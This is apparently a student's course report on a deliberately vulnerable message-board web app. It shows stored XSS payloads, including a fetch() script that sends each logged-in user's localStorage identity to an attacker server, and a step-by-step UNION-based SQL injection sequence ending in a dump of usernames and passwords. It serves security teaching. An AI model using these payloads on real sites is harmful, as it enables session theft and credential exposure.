Ben Rombaut
3510700
CS4417 – Assignment 1 Report

Repository: https://github.com/brombaut/XSS_SQLInjection_Vulnerabilities

Summary: For my presentation, I built a simple web app that is vulnerable to cross-site scripting attacks, as well as SQL injection attacks. The app is a simple 'message board', where users are able to log in and see what other users have posted, and can post their own messages. Users are also able to search for specific messages that have been posted in the past using the search functionality.

When a user logs in, they can refresh the page are able to remain logged in. This is accomplished by the user of the browsers built-in 'local storage' functionality. When the user first logs in, an identifying object is saved in the browser's local storage. When the app is refreshed, it checks to see if there is an identifying object saved in local storage, and if there is, it retrieves the user's information.

XSS Attack: The application is vulnerable to XSS attacks because it is not sanitizing the input when a user creates a new message. This is evident when the user creates a message that includes HTML tags, such as the <b> or <i> tag. This will change the way application renders the message.

Using this information, as well as the fact that the user remains logged into the application across page refreshes, we can build an attack to steal other users identifying information. If an attacker creates the following message with the content below, they will be able to see what local storage keys are currently in use by the application. Note that in order for this script to run, the attacker must refresh the page, since the browser will not execute script tags that get appended to the document once it has already been rendered.

```
<script>console.log(Object.keys(localStorage))</script>
```

That attacker will see in the console that the only key being used is 'user'. Creating a new message with the following content will reveal the contents of local storage.

```
<script>console.log(JSON.parse(localStorage.getItem('user')))</script>
```

Now the attacker can see their identifying information, but they really want other user's information. The attacker can set up their own server that listens for requests, and then create a message with a script that will send the currently logged in user's information to the attacker's server. The contents of the message would be similar to the following script.

```
<script>
let params = {
	headers: {
		'content-type': 'application/json; charset=UTF-8'
	},
	body: JSON.stringify({ content: localStorage.getItem('user') }),
	method: 'POST',
}
fetch('http://127.0.0.1:3001/victim', params)
</script>
```

Now whenever any user logs in, a request will be sent to the attacker's server that contains the currently logged in user's information.

There are multiple ways to fix this issue. For my presentation, all I had to do was change the syntax in one of my rendered view files to escape all HTML tag characters.

SQL Injection: As previously mentioned, the application also has a search functionality. An attacker can input the following search values into the search box to accomplish the described actions.

';--

Action: Show that the application is vulnerable to SQL injection.

' UNION (SELECT 1, 2, 3 FROM dual); --

Action: Confirm that database is MySQL, and that the injection strategy will work.

' UNION (SELECT TABLE_NAME, TABLE_SCHEMA, 3 FROM information_schema.tables); --

Action: Get all table names and their associated schemas.

' UNION (SELECT COLUMN_NAME, 2, 3 FROM information_schema.columns WHERE TABLE_NAME = 'users'); --

Action: Get all column names for the table named 'users'.

' UNION (SELECT username, password, first_name FROM users); --

Action: Get all usernames, passwords, and first names, from the users table.